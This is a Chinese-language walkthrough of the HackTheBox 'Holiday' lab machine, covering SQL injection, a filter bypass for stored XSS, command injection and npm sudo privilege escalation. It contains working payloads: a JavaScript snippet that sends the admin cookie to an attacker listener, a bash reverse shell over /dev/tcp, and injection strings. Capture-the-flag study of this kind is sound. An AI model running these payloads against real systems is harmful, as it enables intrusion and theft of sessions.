HackTheBox-Holiday
字数 1166 2025-08-24 16:48:15
HackTheBox靶机"Holiday"渗透测试教学文档
1. 信息搜集阶段
1.1 初始扫描
使用nmap进行初始扫描:
nmap -Pn -sV -sC -A -oN nmap.txt 10.10.10.25
扫描结果:
- 开放端口:
- 22/tcp: OpenSSH 7.2p2 (Ubuntu Linux)
- 8000/tcp: Node.js Express框架
- 操作系统:Linux
1.2 Web服务枚举
发现以下关键路径:
/login- 登录页面/admin- 重定向到登录页面
2. 漏洞发现与利用
2.1 SQL注入漏洞
发现过程:
- 在登录表单的用户名后添加双引号(
")导致报错 - 使用sqlmap确认漏洞存在
利用方法:
python27 sqlmap.py -r 1.txt --level=5 --risk=3 --threads=5
发现的数据:
- 数据库类型:SQLite
- 关键表:
- bookings
- notes
- sessions
- sqlite_sequence
- users
获取凭据:
python27 sqlmap.py -r 1.txt --level=5 --risk=3 --threads=5 -T users --dump
- 用户:RickA
- 密码哈希:fdc8cd4cff2c19e0d1022e78481ddf36 (MD5)
- 解密后得到明文密码
2.2 存储型XSS漏洞
发现过程:
- 登录后进入订单管理系统
- 订单详情页有"添加note"功能
- 提示"提交的留言将在一分钟之内被管理员审核"
绕过过滤:
- 原始XSS尝试被过滤:
<script>被编码 - 使用替代方案:
<script>eval(String.fromCharCode(100,111,99,...));</script>">
利用步骤:
- 准备恶意JavaScript文件(yyj.js):
window.addEventListener('DOMContentLoaded', function(e) {
window.location = "http://10.10.14.2:81/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)
})
- 启动HTTP服务:
python -m http.server 80
- 监听81端口获取cookie:
nc -lnvp 81
2.3 命令注入漏洞
发现过程:
- 使用获取的管理员cookie访问/admin
- 发现"导出订单"功能
- 测试发现表名存在白名单限制
绕过限制:
- 使用URL编码的
&拼接命令 - 示例:
/admin/export?table=users%26id
利用步骤:
- 准备反弹shell脚本(rev):
#!/bin/bash
bash -i >& /dev/tcp/10.0.14.2/2333 0>&1
- 启动监听:
nc -lvp 2333
- 执行命令注入:
/admin/export?table=b%26bash+rev
3. 权限提升
3.1 发现npm提权机会
检查sudo权限:
sudo -l
输出:
User algernon may run the following commands on holiday:
(ALL) NOPASSWD: /usr/bin/npm i *
3.2 利用npm preinstall脚本
- 创建恶意package.json:
{
"name": "root_please",
"version": "1.0.0",
"scripts": {
"preinstall": "/bin/bash"
}
}
- 执行提权:
sudo npm i yyj/ --unsafe
4. 关键知识点总结
-
SQL注入:
- 使用sqlmap时可能需要调整level和risk参数
- SQLite数据库注入技巧
-
XSS绕过:
- 使用String.fromCharCode编码绕过过滤
- 利用img标签的畸形属性执行脚本
-
命令注入:
- 白名单绕过技巧
- 使用URL编码的特殊字符拼接命令
- 十进制/十六进制IP地址表示法
-
npm提权:
- preinstall脚本的执行机制
- --unsafe参数的作用
5. 参考资源
-
XSS绕过技术:
OWASP XSS Filter Evasion Cheat Sheet -
反弹shell命令:
PentestMonkey Reverse Shell Cheat Sheet -
IP地址转换工具:
Browserling IP to Decimal Converter